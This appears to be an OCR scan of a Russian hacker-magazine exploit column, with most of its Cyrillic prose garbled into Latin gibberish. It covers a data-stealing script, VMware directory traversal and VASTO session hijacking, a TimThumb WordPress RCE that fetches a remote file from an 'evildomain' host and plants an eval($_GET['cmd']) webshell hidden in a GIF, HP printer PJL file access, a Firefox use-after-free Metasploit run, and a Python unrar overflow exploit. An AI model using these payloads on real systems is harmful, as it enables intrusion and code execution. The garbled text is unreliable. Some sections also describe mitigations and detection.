//BblHUMaeM AaHHble U3 QpyHKUMM (BbiBLEro MaccuBa)
<script type="text/javascript">

var yourData = '';

var i = -1;

while(secrets[++i]) {

yourData += secrets[i] + ' ';

}

alert('YkpageHo:
</script>

+ yourData);

Butore nonyyaetcs cnepyiowas cutyaumns. Mel cozganu cneumanbHyio
CTPaHWLY, KOTOPYI MOXKEM pa3MecTUTb FAe yrofHO B MHTepHeTe. XKepTBa
3aX0AMTHa Hally CTPaHULYy, M NPUYCI0BUK, YTO OHa ayTeHTUPNLMPOBaHa
Hays3BMMOM CepBUCE, Mbl NONYYUM KOHOUAEHLMaNbHBIE AaHHbIe C3TOro
cepBepa. BkayecTBe npuMepa MOXHO BCMOMHUTb 3HaMeHUTLI 6ar B Gmail,
KoTOpbIV 340poBo Hawymen 8 2006 rogy: Toraa MoxHO 66110 nonyyaTthb
CMUCOK KOHTAKTOB M0JIb30BaTEs U YATATh €r0 MOYTY.

K c4acTbio N K coxxaneHunio, ceyac faHHblii MeToa He paboTaeT: Ha
ypoBHe bpay3epoB 3anpelieHa BO3MOXHOCTb NepeonpeaeneHus Array.
Xouelb npoBepuTh, YTo 6ar pabotaeT, —uwm bpaysep spemen Firefox 2.0.
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NOJIOMATb BUPTYAJIKUINOA VMWARE

PELLEHWE

BupTyanusauus, BupTyanusaums, BUpTyaan3saumus — ceityac aTuM yxe
HUKoro He yanBuTb. Co Bceii cBoel bopofaTocTblo, BUPTyanusauus
cellyac akTMBHO MPOHUKAET U yCMELLHO 3aMellaeT CyLecTByioLne
MHGPaACTPYKTYpbl B Pa3finyHbiX KOMNaHusax. OHO M MOHATHO: eCTb
Macca naocoB — 60JbLLOE KOIMYECTBO BO3MOXKHOCTe, rybokas
rMbKOoCTb, LEHTPaNM30BaHHOE yripaBfieHne, CHMKeHNe GUHAHCOBbLIX
3aTpaT. M ynoMsinyTas bopofa — Kak rapaHTUsi Toro, YTo 60bLUVHCTBO
BO3MOXHbIX MP06JieM yxKe bblIv KeM-TO peLleHbl.

BripoueM, ecTb n TpyAaHOCTH. [lyMalo, BCeM MOHATHO, 4TO €C/IV B3J1OM-
WMKyyaacTcs nonomats xoctoByto OC, To cynTal, 4To M BCe Nexallne Ha
Hel rocTeBble cUCTeMbl TOXe yxe ero. OaHako bbln v npumMeps baros,
NPV KOTOPbIX CNeLnanbHbli cnionT Mor «cberate» n3roctesoit 0C B
XOCTOBY0. ITO peasibHasi XKeCTb: CTOUT N0IOMaThb O[JHY MaLLUHKY — U CYMN-
Tali, Tbl nonMen Bcio ceThb. [puMep nogobHoro Takoro cnjaounTa s BUAenN
TOJIbKO OAUH: @aBTOPOM BbiN1 KTO-TO U3 Immunity, aysa3BuMocTb bbinaB
BUAeofpaiiBepax.

Ho 370 KOHKpeTHbIN XapAKOP.HTO e Mbl MOXKeM CAenaTb Ha Npak-
Tke? Bce npnMepHo TO e caMoe, ToslbKo ropa3sfo npoue. [laBait
BCMOMHUM, C 4ero Bce HauynHaeTca. KoHeyHo, c obHapyxeHus Lenen,

c duHrepnpuHTa.tak, Haww uenmatovSphere, ESX, ESXi, vCenter,
Server.[lpocTeiiwmne ryrnofopku:

intitle:"Welcome to Vmware ESX"
intitle:"VMware Management Interface:"

inurl:"vmware/en/"

[anee nopTckaH: MOXHO BbigenuTs nopTel 902/903, oTBeTCTBEHHbIE 3a
yaaneHHoe nofkitoyerne k xoctosoit 0Cvmware-KiMeHTOM M CTaHAapT-
Hbli Habop nopToB http c Be6-cepBepom «vmware httpd». Bonee yeTkuit
cnncok—goo.gl/NdMfy.

YTopanbwe? XoTA NopTCKaH M NoKa3biBaeT HaM BEPCUIO XOCTOBOM
MallWHbl, 3TO 04eHb NpubansnTensHas nHdopmauns. VMware nossonset
HaMYy3HaTb TOYHYI BEPCUIO BNOTb J0 HoMepa bunpaa. [lna paHHon uenwm
S HaKpanas ckpunT ans nmap'a. [To cBoOei cyTu, HUYero aKCTpaopan-
HapHOro: Ha443-nopToTnpaBaseTcs cneynanbHo cGopMUPOBaHHbIN
SOAP-3anpoc, KOTopbIi M NpeA0CTaBASET HAM HE0OXOAMMbIe AaHHbIE.

Tenepb, Korja Mbl TOYHO 3HaeM, KTO Halll IPOTUBHUK, — NEPEXOAUNM
BHacTynnexue. Bobuwem-To,3aech rnaBHoe — «npofykt» VASTO.

370 Habop Mogyneii k Metasploit Framework oTuTanbsHCKUX Xakepos
Knayano KpucuunoHne nMaono KaHaneTTu, koTopble bbiin npepcTaBnie-
Hbl Ha BlackHat 2010 (vasto.nibblesec.org). Habop nozsonset npons-
BECTU LLeNbli psifiaTak Ha pa3HoobpasHblie cUCTeMbl BUPTYanu3aymm.
MbI TOCMOTPUM HECKOJTBKO U3 HUX. «YCTaHOBKa» Mofyne npocTta o
HEeBO3MOXHOCTW: pa3apx1BMUpyeM Nanky v kijaem sce patnnkm B
%msframework%\msf3\modules\auxiliary\vasto [y HekoTopbix Mo-
Ayner ecTbKeCTKO npunucaHHbie nyTu). lanee, ecnv B3naMmbisaemMas

Knaccuyeckui noptckan ESX4
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cucTema ctapas (npumepHo 2009 roga, ESX go Bepcnn 3.5), To oTnmyHas
Belb ana banoscTea atobara CVE-2009-3733. CyTtb —npocTenwmni
TpaBepcan AMpPeKTOpM Ha XOCTOBOM MallnHe:

https://victim.com/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E
%2E/etc/passwd

Yro3TopaeTHaM? 3axBaTUTb KOHTPOb Haj xocToBoM OC Mbl He
MOXEM, HO BOT CKayaTb BCE rOCTeBYLIKM — s1erko. [1ns aToro yutaem /etc/
vmware/hostd/vmInventory.xmluv cy4eToM 3TUX JaHHbIX ONpegensem
nyTv Aovmx'oB.

/13 HOBEHbKOr0 Cpa3y MOXHO BCMOMHUTbL PYroi BEKTOp aTak,
HaleneHHbIM HavCenter —cucTeMy LeHTPaNM30BaHHOIO yNpaBaeHuns
BonblWKM KONMYecTBOM BUPTYanok. Bweb-cepsepejetty o 6.1.16 npu-
cyTCTByeTTpaBepcan:

https://victim.com/vci/downloads/health.xml/%3F/../../..[..[../..
/../../../any_file

YepesatoTb6ar MoxHo f06paTbcs 0 GalnnoB c ceKpeTHbIMU UEH-
Tudukatopamu knuenTos (vpxd-profiler-*), koTopble urpatoT posib
cB0e0bOpa3HbIX KYKNCoB Ans obueHns knmeHTavCenter c cepeepom.
Mcnonb3yoTca 3T naeHTUUKATOPbI C MOMOLLbIO MOAYS vMware_
session_rider.rb, Bxogsiuero B komnaekT VASTO. MocnegoBaTebHOCTb
NencTBUM TakoBa:

1. YepesTpaBepcannonyyaemupeHTndukaTtop.
2. BMSF:

use auxiliary/vasto/vmware_session_rider

set RHOSTvictim.com

set SOAPID 04D40C81-564E-4511-ACOD-D57FFA571EAE
(310 MAeHTUDUKATOP)

run

3. BvCenterknuenTe (Vlclient) ykazbizaeM xocT: 127.0.0.1:9999.
4. OcywecTBnsieM NoAKIKYEHNE.

Mocneatoro, ecnn nAEHTUGUKATOP eLLLe MUB, MPON3ONALT NOSA-
knwoyeHue kvCenter’y, npn aToM paboTa B CaMOM KJIMEHTE HUKAK OT-
nnyatbes He byneT. Tak Kak MAeHTUUKATOP UMeeT [LOBOJIbHO KOPOTKOE
BpeMs Xn3Hu (nopsaka 5 MUHYT Nocne Bbixofa ns cuctemsl), o8 VASTO
npunaraeTcs aBTOMaTU3NPYIOLWNIA BCe MaHUNyNaUuu aitn —vmware_
autopwn.rb. EcTb n elje HeckoNbKo MOAYNel NOA APYrie NpoAYyKThl Kak
VMware, Tak 1 pyrnx pa3paboT4ynkoB, HO 3TO 0CTaBWM Ha CaMoCTO-
ATeNbHOE U3yYeHue.

OnpepenseMTo4Hylo Bepcuio npoaykToBVMware
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iv(ivinside.blogspot.com)
pikofarad (115612, gep. KpacHas 3se3gouka, 4.1)

IKCTJTIOMNTOB

CerofHsi Mbl NokaxeM Tebe, Kak 3aBannTb Bpaxe-
ckuit 6nor Ha WordPress'e, kak Bo3biMeTb BnacTb
Haf nasepHbIMU NpuHTEpamMm HP, Kak HaTAHYTb
HWYEero He NOA03peBatoLLMX NOSIb30BaTENEN
Firefox'a, a Takxe npuefeM oyepefHoe Noa-
TBEPXKAEHWE TOMY, YTO B 3TUX BaLIMX IMHYKcax (c)
TOXE eCTb AbIpSBbIA COPT.

046

1 YpaneHHoe BbiNOJIHEHUE KOAA
BWordPress'e TimThumb

CVSSV2 7.5

ARRRNRNNRNN
(AV:N/AC:L/AU:N/C:P/I:P/A:P)

Mnarun TinThumb ncnonb3yetcs MHornmu TemMamu B iBuxxkke WordPress
nnpepacTaBnseT cobon ckpunT-yTMAnTy timthumb.php, koTopas 3a-
HUMaeTcs MaclWwTabupoBaHmeM n3obpaxeHui. lyrn nokasbiBaeT 0koso
40 MAIHYNOMWUHAHWUIA 3TOIr0 CKPUNTA, 4TO NO3BONISIET HA3BaTh €r0 BECbMa
nonynspHeIM. B Hayane aBrycta Hayanacb BOJIHa B3/10MOB, CBSA3aHHbIX
C3TWUM CKPUNTOM, Aaxe bior pazpaboTymnka aTor yTUAUTLI BbINycneLwHo
XaKHYT CnoMolbio 6aru! Ya3BUMOCTb CyLLecTBYeT M3-3aTOr0, YTO CKPUNT
nossosisieT3arpyxaTb uucnonHate PHP-kopf B nanke c keweM. Utak, pas-
BepeMcs, YTOKe TYTNPOUCXOAUT.

HauHem CTOro, 470 3aKewWwnpoBaTb ¢a MJTMOXHO C MOMOLLbO TaKoro3anpoca:

http://www.target.tld/wp-content/themes/THEME/timthumb.
php?src=http://blogger.com.evildomain.tld/pocfile.php
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3anyckaeMKanbkynstopyepesbarystimthumb.php

CnoBo «THEME» cnepyeT3aMeHuUTb Ha Ha3BaHUe TeMbI, HY M Tak flanee.

Pasymeetcs, He BcE Tak npocTo. Bo-nepBsbix, KewmnpoBaTb Gaibl pas-
peLaeTcs He C06bIX AOMEHOB, @ TONIbKO C A0BEPeHHbIX. [To yMonyaHuio
CMUCOK 3TUX OMEHOB NPeCcTaB/IeH TaKUM MaCCUBOM:

$allowedSites = array (
"flickr.com’,
'picasa.com’,
'blogger.com’,
'wordpress.com’,
'img.youtube.com’,
'upload.wikimedia.org’,
'photobucket.com’,

Deiin3aechb COCTOUTBTOM, YTO CChIIKa NpoBepsieTcs GyHKLUMel strpos
TakuMobpasoM, yToecnunrne-nnbo byneTBCTpeUaTbCs Takas NoACTPOKa,
ToURL npoiipeT npoBepKy, 4To 1 661110 NPOJEMOHCTPUPOBAHO B BblLLE060-
3HayeHHoM 3anpoce. EcnuneHb3amMopaymBaThCsa C NOALOMEHAMU, TO
MOXHO MPOCTO 33/1eMCTBOBATH MankKy C MMEHeM pa3peLleHHoro JoMeHa.

BTopasi pUrHA coCTOMT B TOM, 4TO Mbl A0JIKHBI AT MOHATH CKPUNTY,
4TO OH UMeeTieNno c n30bpaxeHneM, a He c kakum-To TaMm PHP-kogom. 310
LOCTUraeTCs TeM, YTO B HaYano Halwero daina Mbl nobaToBo BCTaBAsieM
Kakylo-HUOYb KapTUHKY, 4ToObl OHa TaM B1cena no BceM npasuniam daii-
nosoro ¢opmara. lonesHo bygeT mayunts uHdy no ceoinke http://goo.gl/
We45], TamobcyxpaeTtcs co3faHne MuHuaTiopHoro GIF-daiina paamepom
B35 6ailT. Mitak, konvpyem 371 35 6ainT B dain, anocne Hux (1) pasmewaem
npou3sBosibHbIi PHP-kof—npuem, B 06eM-To, MU3BECTHbBIA U UCNONb-
3yeTcsi o4eHbYacTo. BkayecTBe PoCaBTopoM akcnionTa npuseeH
cnefywWwmnii BapnaHT:

\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\XFF\XFF\XFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65

HFEbaE By B B BEEEDE,

TSR TR e R e b b Lo

BoinonHeHue nonesHon HarpyskuBFirefox3.6.16
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\x76\x61\x6C\x28\x24\x5F \x47\x45\x54\x5B\x27\x63\x6D
\Xx64\x27\x5D\x29\x3B\x20\x3F\x3E\x00

3TanpocTbIHA Ha caMoM [lefle NpecTaBAseT U3 cebs npocTeiiLlyio
GIF-kapTUHKY C ionM1caHHbIM B KoHLe 6oHycoM B Buge <?php @eval($_
GET['cmd’]) ?>.Mocne ckapmnnsakus Hawero paiina ckpunTy timthumb.php
ero MoXxHo byget obHapyxuTb B nanke /wp-content/themes/THEME/cache/
1, 4To caMoe rnaBHoe, besbonesHeHHo 3anycTTb erooTTyaa. lononHnTenb-
HOoe onmcaHne MoXHO B3ATboTcloga: www.exploit-db.com/exploits/17602.

TARGETS
WordPress TimThumb Plugin 1.*—1.32

SOLUTION

CyllecTByeT HECKO/IbKO peKoMeHAaLnii Mo NoBOAY peLleHNs 3To npo-
6nembl. Bo-nepsbix, 06HoBNEeHe: BBepcun 1.34 npobnemayxe peluena.
Bo-BTOpbIX, MOXHO TYNO yAaNUTb 3TOT CKPUNT, ybe ANBLINCH NPM 3TOM, 4TO
6e3HerobnorpabotaeTHopManbHo. B-TpeTbux, pekoMeHAYOTyAaNNTbL
BCe CTPOKM M3 MaccuBa C L0BEPEHHbIMW LOMEHAMM, TO €CTb 3aMeHUTb
BbILIEyNoMUHaBLINcs MaccuB Ha $allowedSites = array();. Takum 06-
pa3oM, CKpUNTCMOoXeT paboTaTh TOILKO C 10KaNbHbIMU Gaitnamu, Yero B
BOoNbLWMHCTBE CNyYaeB [OCTATOUHO.

KpoMe Toro, ecnn Tl aBnselwbcs Bnagensuem 6aoraHa WordPress'e,
TOHe noMellaeT NPOBEPUTb, He MoUMeNn A Tebs c noMolLblo 3ToM baru:
1. 3anorvHbcsiHacepsep yepe3 SSH.

2. MepenpnspanpekTtopuio c WordPress.

3. BbinonHunkoMaHpy «grep-rhbasebs_decode *». Ecnu pesynbraTax
BblJa4M NPUCYTCTBYIOT ASIMHHBIE 3aKOANPOBaHHbIe CTPOKM, TO, BO3-
MOXHO, Tebst nonumMenu.

4. Takxe cllefyeTnpoBepuTb AUPEKTOPHMIO /tmp Ha HaNW4YMe No[03pU-
TenbHbIX GainoB c paclwmpeHnamu txt unuphp.

2 MHoXecTBeHHble YA3BMMOCTH B NPUHTEpaX
HP LaserJetPxxxxSeries

SSV?2 8
EERRRENEEND

[BRIEF|

KTo 66 MormogyMaTh: B cocTaBe Metasploit Framework'a nnaHoMepHo
HaYMHalOT NOABAATLCA IKCMIOUTLI MOA annapaTHoe obecneyeHne pa3Horo
poaa.HaatoTpa33aTpoHy Tl bbinu npuHTepbl LaserJet dupmbl Hewlett-
Packard. KaxeTcs, Hepanek ToT ieHb, Koraa byayT nosiBAATLCA IKCNA0U-
Tbl MOJ MUKPOBOJIHOBKM U CTUPasibHble MalLnHbI. CerofHs xe nogyaap no-
nanuTenpuHTEpbI, FAe UMeeTCsH BO3MOXHOCTbYnpaBneHus no Cetn yepes
cneyuanbHbii a3bik PJL (Printer Job Language). NMyTem popmuposanus
cneLuanbHbIX 3aNpocoB K NpUHTepy Yepe3 cTaHpapTHbl JetDirect-nopt
9100 MOXXHO NONYYMTb [OCTYN K paliNoBoO CUCTEME NPUHTEPE, @ TaKXe
nocblNaTb MPON3BOJIbHbIE KOMaHAbI Ha A3bike PJL.

[lBaMogynsa noa npuHTEpbl BOCTYNHbI B cocTaBe MSF nog uMeHamu hp_
printer_pjl_traversaluhp_printer_pjl_cmd. MepBbiii nx HUX no3BonseT

[AV:N/AC:L/Au:N/C:C/I:N/A:N)
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CTapue appeca
Ao Ox T
F""""'""""’"‘i
| Opyrwe crpyreTyped |
Monagam cHona
0x3cOdff7d p| Hevcronusyerneh
YUACTOK MamMATA
4
Chao DG 000 Kyua
L]
| Hpyrie cTEoVKTYRSL |
| S| el e LR |
J0 newvmveresstq Texaed
Mnagusse agpeca heap serayng
A0 CooCa000000

CTapuse agpeca
Ao O T
F"'"""-'-'-"-"-""'-'"'-'-'-""-'1
| Opyrve cTpyRTYR
Monagaem coga
O 3c0dif?d > BxepgpeHHan Kyda
BreapeHHan Kyua |} nop + shelcods
BHEOPEHHAA Kyua
BHepeHHAA Kyua
W Kyua
3 Ay Tve CTRYRTYERE |
FIoCne NMperoetiee Texeed
Mnagusse agpeca heap sprayng
0 Cre00000000

CxeMaTuyeckoe usobpaxeHue MeTofaheapspraying

NoNy4nTb BOCTYN K paitnoBoii cucTeMe npuHTepa. Onuum akcnnonTa He
OTANYAI0TCH OPUTUHABHOCTbIO:

e RHOST—rTapreTHbilagpec.
e RPATH—nyTbBYynaneHHo Gaitnosoi cnucteme.
e RPORT—TapreTHblii nopT.

YutaTtb dpannbl MoXXHO KoMaHA oM «!r FILE» BUHTepakTUBHOM pexume,
nepexoAnTb B KOPHEBYIO AUPEKTOPUIO KOMAHAOM «/», @ KOMAHAOM «..» —
Ha 0f}MH ypoBeHb BBepx Nno dpaitnosoii cucteme. o ee cTpyKType, KCTaTH,
MOXXHO0 3aMeTUTb, YTO Ha MPUHTEPAX CTOUT HeKas oHUKC-nofobHas 0C
(tunaLynx0S), aecannpouutats daiin /etc/passwd, MOXKHO 0BHaPYKUTh,
4TO B KayecTBe KoMaHaHOM 060n04ku durypupyet/bin/dish.

BTtopoit Moayns MSF no3BosisieT oTchiNaTh Mpon3BosibHble PJL-
KoMaHAbl npuHTepy. [MoMuMo yxxe npuBblYHbIX onunii RHOST n RPORT,
eCTbBaXHbli napametp CMD—cobcTBeHHO KOMaHfa, oTCbilaeMas
npuHTepy. B Hawem npuMepe durypupyeT KoMaHaa uyTeHus daiinafetc/
passwd, X0Tsi Ha caMoM fieJie X OCTaTOYHO MHOTO, NPY XXeNaHUN MOXKHO
03HAKOMMWTbCS C MaHyasioM K 3TOMY i3bIKy Mo ccbinke http://goo.gl/UKesp.

HP LaserJet Pxxxx Series, Bo3M0oXHo, Bce NpuHTepbl LaserJet c nopnepx-
Koi ynpasneHus no CeTu.

Ha paHHbI MOMEHT pelleHns npobnembl He 0bHapyxeHo.

3 Firefox 3.6.16 0BJECT mChannel Remote Code
Execution Exploit (DEP bypass)

CVSSV?2 10.0
ARNNRNNNRNEN

[BRIEF|

Jatapenusa:5asrycta2011ropaa, astop: Rh0, CVE: CVE-2011-0065.
YassumocTb use-after-free B Mozilla Firefox 3.6.16, patowas B03MoX-
HOCTb aTaKyLLEMY BbIMONHWTH MPOU3BOJIbHbINA KOS, B KOHTEKCTE N0b30-
BaTens, 3anycTusluero 6paysep, boina o6HapyxeHa regenrecht'om, aonu-
cblBaeMblii 3fech Mogyb Ans metasploit'a cospan Rh0. CyTb ysisBumMocTy
3akJiovaetcaBToM, yTomChannel, asnaowwniica anemeHtom 0BJECT a,

[AV:N/AC:L/Au:N/C:C/1:C/A:C)
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MoxeT bbITb 0cBobOXAeH Yepe3 MeTo OnChannelRedirect, npuHagne-
xawuii uutepdency nsiChannelEventSink, B pe3ynbrate cTaB BUCALLUM
yka3saTenem.BnocnencTeum oH MoxeT 6bITb NOBTOPHO MCMOb30BaH,
Korga byneT npouMCcXoAnTbYyCTaHOBKa aTpubyTOB faHHbIx 4ns OBJECT ‘a.

OnucebiBaeMbli Mogyb Aas metasploit'aucnonbayeT s cBoeit peanusa-
unn TexHunky heap spray c ROP-uenoukoit nns obxofna mexaHusma DEP Ha
Windows XP SP3.

EXPLOIT

Mcnonb3oBaHue paHee 0CBOOOXAEHHOW NAMATU MOXKET NPUBECTU K pas-
NIMYHOro pofa HebNaronpuUaTHLIM NOCAEACTBUAM, HAYNHASA OT UCKaKEHUS
MCNOMb3yeMblX AaHHbIX 10 UCMONHEHWS MPOU3BONIbHOTO KoAa. B npo-
CTeWLeM Cly4yae UCKaXEeHWE [aHHbIX MOXET NPUBECTU K NOBTOPHOMY UC-
Mosb30BaHMN0 0CBOOOXAEHHON cncTeMbl NaMaTh. Owmnbku use-after-free
MMetoT ABe 06LLUX U MHOTAA NepeceKatoLUXCs MPUYNHbI:

0auH M3 nonynspHbIX NpuHTepoB HP, nofBep)XXeHHbIXyA3BUMOCTH
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COMES FORMLINES
FARER MANUALFERD
ORIENTATION RET
PACEPROTECT PERGOMALITY *
RMEFOLUTION TIMEDUT =
- FONTSOURCE FISITE
FONTHNLUMBER SYEBET
PITCH FRTFSERRAS
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BmMaHyanenossbiky PJL309 ctpanuy—atote6e He WEP nomatn!

e OWNBKN U ApYT1e UCKIOYNTENbHBIE 06CTOATENLCTBA;
* MyTaHMLa B BOMPOCE 0 TOM, KaKas 4acTb MPOrpaMMbl 0TBEYAET3a 0CBO-
BoX/AeHMEe LaHHbIX.

BaToMcnyyae naMaTh, 0 KOTOPOW UAET peyb, CNOKONHO BblAensieT-

Csi ApyroMy yKasaTesito B KaKOM-ToO MOMEHT NocJie Toro, Kak oHa bbina
ocBoboxpaeHa. [lepBoHayanbHbIf yKazaTesib Ha 0CBOOOXAEHHYIO NaMATb
1CMoNb3yeTCs CHOBA M yKa3blBaeT Ha HEKWIi afipec B HOBOW BblAeIeHHO
obnactunamaTi. MameHeHne faHHbIX NPUBEAET K UCKaXKEHUIO AeACTBY-
TEeNIbHO MCMOb3YeMO NaMsATH, 4TO MOXKET NPUBECTU K HeNpeckasyeMoMy
noBefeHuio npotecca.

[lonycTuM, 4To NoNy4YnUTCH Tak, YTO BHOBb BbiZeNIieMble JaHHble byayT
YOEPXKMBATb KNacc, Hanpumep B C++, Npy 3TOM pa3finyHble ykasaTenu
DYHKLUUAMOTYTObITb pa3bpocaHbl Mo AaHHbIM Ky4u. ECv oAnH 13 3Tux
yKasaTesei yHKLUWII nepe3anuiueTcs aApecoM LeaKoaa, To MoXeT
BbITb JOCTUTHYTO BEINOJHEHWNE NPOU3BOILHOMO KOAA.

Bbipepxka us content/base/src/nsObjectLoadingContent.cpp:

nsObjectLoadingContent::0nChannelRedirect(
nsIChannel *aOldChannel,
nsIChannel *aNewChannel,
PRUint32 aFlags)

// If we're already busy with a new load, cancel the redirect
if (a0ldChannel != mChannel) {
return NS_BINDING_ABORTED;

if (mClassifier) {
mClassifier->OnRedirect(a0ldChannel, aNewChannel);

mChannel = aNewChannel;
return NS_OK;

CyliecTByeT BO3MOXHOCTb Bbi30Ba MeToga OnChannelRedirect, ycta-
HaB/IMBAIOLLEr0 NPAKTUYECKM NPOM3BOJIbHBI 00 BEKT B KaYeCcTBe KaHana
A8 ucnonb3osanus, korgasanemeHT O0BJECT (peanusaums nutepdeica
nsIChannelEventSink] He uMeeT HazHayeHHoro mChannel. Mpo6iemMa B
ToM, yTo mChannel agnsetcsa cnaboi ccuinkoi (kak onpegeneHo B content/
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MpbiraeM Ha nonesHyo Harpysky

base/src/nsObjectlLoadingContent.h) n B pesynbraTe nocne yukna cbopkm
Mycopa npeBpaLiaeTcs B BUCSLLMIAyKa3aTeb.

Bucswas ccbinka MoxXeT bbITb UCNONb30BaHa NyTeM yCTaHOBKM
aTpubyTadataHawemyanemeHTy OBJECT. 3To npnBefeT K BbI30BY METOAA
LoadObjectwn3arpyske OBJECT a.

nsObjectLoadingContent::LoadObject(nsIURI* aURI,
PRBool aNotify,
const nsCString& aTypeHint,
PRBool aForceLoad)

if (mChannel) {

mChannel->Cancel(NS_BINDING_ABORTED);

B Mopyne metasploit, peannsytoLieM gaHHyo ya3BUMOCTb, NPUMEHS -
eTcsiTexHnka heap spraying, KOTopyto Mbl ceiiyac BKpaTLe onuiiem ans
fanbHeilero noHNMaHus gena. TexHuky heap spraying MoXxHo npume-
HUTb, KOrja nporpaMMa, cogepxallas ys3BUMoCTb, 0bpaliaeTcs no He-
CyLLeCTBYIOLLEMY y4aCTKy NaMATH, HaxoAsLLeMycs BafpeCcHOM NPOCTpaH-
cTBe Kyyn. [pnatoMappec He foskeH 6biTb Bbilwe 0x7fffffff, nockonbky
AaneecnefyeTajpecHoe NpoCcTPaHCTBO AAPA, K KOTOPOMY MPUSIOKEHUE U3
ring3 He uMeeTOCTYNa.

KntoyeBblM MOMEHTOM 151 UCNONIb30BaHMA heap spraying aBnseTcs
BO3MOXHOCTb YNpPaBieHNs Ky4elt, nHaye roBops, BO3MOXHOCTb j06aB-
NATb AaHHble B KYYY, BbIess N0 HAX NaMsATb, 0 TEX 0P NOKa HEUCMOb-
3yeMbI1 10 3TOr0 MOMEHTa afipec B NaMsiTU NpoL,ecca He HaYHeT CyLLecTBO-
BaTb. [lobaBnATb AaHHbIE B KYYy Mbl byaeM 6okamu, npuyeM Kak ibli u3
6n0KoB byfeT MMeTb ceayoLW i BUA: nop-Lenoyka +shellcode. laHHble
TeN0ABUKEHWS COBEPLLIATCSA NOTOMY, YTO ONepaLMoHHas cucTeMa cama
pacnpefensieTafpecHoe NPoCTPAHCTBO ANS BbleNeHUs IMHaMUYeCKOoN
namsTit, COOTBETCTBEHHO, jaXKe MMes Ha pyKaX ToOUHbI afpec, N0 KoTo-
poMy byfeT nepefiaBaTbCs ynpaBaeHue B pe3ynbTaTe UCMONHEHUS Y53+
BMMOr0 KOAa, Mbl HE CMOXEM TOYHO Y TBEPXAATb, Ha KaKyto MHCTPYKLMUIO
BnamMaTu oHo nonageT. [1oToMy-To n nop-Lenoyka Hy>xHa. TexHvka heap
spraying BOCHOBHOM UCMO/b3YeTCA NPY 3KCMyaTUPOBaHNM yA3BUMOCTENR
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BRRSSBR2 BD 9D F4 EF FF FF lea
P8055088 89 F2 mou
BBOS5088A 80 DO mou
BBO5S508C 8D 74 26 00 lea

ebx, [ebp+src]
edx, esi ; YkazaTedr Ha CTPOKY C OWMGKOD
ecx, ebx

esi, [esi*ﬂ]

=

L e

—

[iuzacceMbnepHbIA NUCTUHT yA3BUMOro MecTa ansaunrar<=3.93

B Opaysepax, nbo npunomoLn JS-ckpunTos, BbIMOHSALLMXCH Ha CTOPOHE
KJIMEeHTa, Mbl MOJly4aeM BO3MOXHOCTb yripaBieHUs Ky4eil, 0 KoTopoit bbino
YMOMSIHYTO BbiLLE.

MpakTuyeckas AeMOHCTpaLMsA y33BUMOCTU NpU noMoLn Moayns MSF
OuYeHbMpoCTa: MOAHNMaeM cepBep npu oMol metasploit'a, uaem Ha
KNnuneHT, BbUBaem B Firefoxagpeccnnontan BUAUM pe3ynbrat paboTbl aKc-
naouTa—3anycTUBLIMACS KaJlbKyNATOop:

msf# exploit(mozilla_mchannel) > set PAYLOAD windows/exec

PAYLOAD => windows/exec

msf# exploit(mozilla_mchannel) > set CMD calc.exe

CMD => calc.exe

msf# exploit(mozilla_mchannel) > exploit

[*] Exploit running as background job.

[*] Using URL: http://0.0.0.0:8080/cnGnl1IbrNQYE

[*] Local IP: http://192.168.0.23:8080/cnGn1IbrNQYE

[*] Server started.

TARGETS
MozillaFirefox3.6.16

CyLLLeCTBy}OT obHoBNEHUS, yCcTpaHALWne 0aHHY Yya3BUMOCTb.

Unrar 3.9.3 Local Stack

Overflow Exploit
CVSSV2 7.2
(R ARiininiine: 11|

[AV:L/AC:L/Au:N/C:C/I:C/A:C)

[BRIEF|
[atapennsa:5asrycta2011roga, asTop: ZadYree, CVE: N/A.

Unrar—pacnpocTpaHeHHas B cpefie *nix-nonb3osatesiei yTunuTa,
npeAHa3Ha4YeHHas A5 U3BJIeYeHNs, TECTUPOBAHUS U IPOCMOTpPa COAEep-
XKUMOr0 apXx1BOB, KOTOpbIe bblM CO3AaHbI Npy oMol apxneaTopa RAR.
Ya3BUMOCTb, KOTOpYto 00Hapyxun ZadYree, KpoeTcs B HENpaBuIIbHON
06paboTke apryMeHTOB, NOCTYNaloLWMUX HA BXOA Y TUNTE.

EXPLOIT
Ano3sonuncebe HeMHOro noApeAakTMPOBaTL aBTOPCKMIA BapnaHT IKC-
naouTaunnonyyun cnefyoulee:

import sys
from struct import *

buf = '-' + "31rvs'*817 + 'AAA' + pack('I',0x8070197)
shellcode = "\xcc\xcc\xcc\xcc\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\
xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd"
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S/IeKMPOHHbIe KHU2U

WEXLER

L

B AAJIbHEULUEM Mbl CMO)XXEM
NMOHABJIIOAATb BOOYMIO, KAK
UCNONHAETCA KOA NOJIE3HOM
HAITPY3KUHACTEKE

f = open('expl_option', 'wb")
f.write(buf + shellcode + '\012")
f.close()

B panbHeiweM Mbl cToboit cMoXeM NoHaboaaTb BOOUMIO, Kak UC-
MOJIHAETCH KO NOJIe3HOM Harpy3KM Ha CTeKe, Hy a noka 4To HeobxoanMo
pa3obpaTbcsicTeM, oTkyaaB3ancaagpec 0x8070197 B kope akcnnounTa.

Mepen HaMu knaccuyeckoe nepenoHeHve bydepa Ha cTeke C Bbl-
Tekalollen oTClofa nepe3annchbio afpecaBo3BpaTa. Tak Kak ykasaTenb Ha
NoJIe3HYI0 Harpy3Ky NeXUT B perncTpe esp, To HaM HeobxoAnMo NpbIr-
HYTb Ha KOMaHAy jmp esp (Mu Apyryto nocnef0BaTeNbHOCTL KOMaHA,
MMeloLLYI0 CXOXee AeCTBUE), COOTBETCTBEHHO, 41 3TOM0 Mbl OSKHbI
nepenucaTbajpec Bo3BpaTaajpecoM KoMaHAabl jmp esp. Tak HaiigeM xe
nof06Hble afipeca B UCMoNHAEMOM MOAYSe unrar a.

(*-") objdump -D /usr/bin/unrar | grep "ff e4" | grep jmp

806febf: ff ed jmp *%esp
8070197: ff ed jmp *%esp
8070317: ff ed jmp *%esp
807038f: ff ed jmp  *%esp
8070527: ff ed jmp *%esp

B pe3ynbraTeys3snMocTMynpasieHme nosyyaeT Ko, pacnonarato-
LWMACS Ha CcTeKe:
(~-~) gdb --args unrar 'cat expl_option '
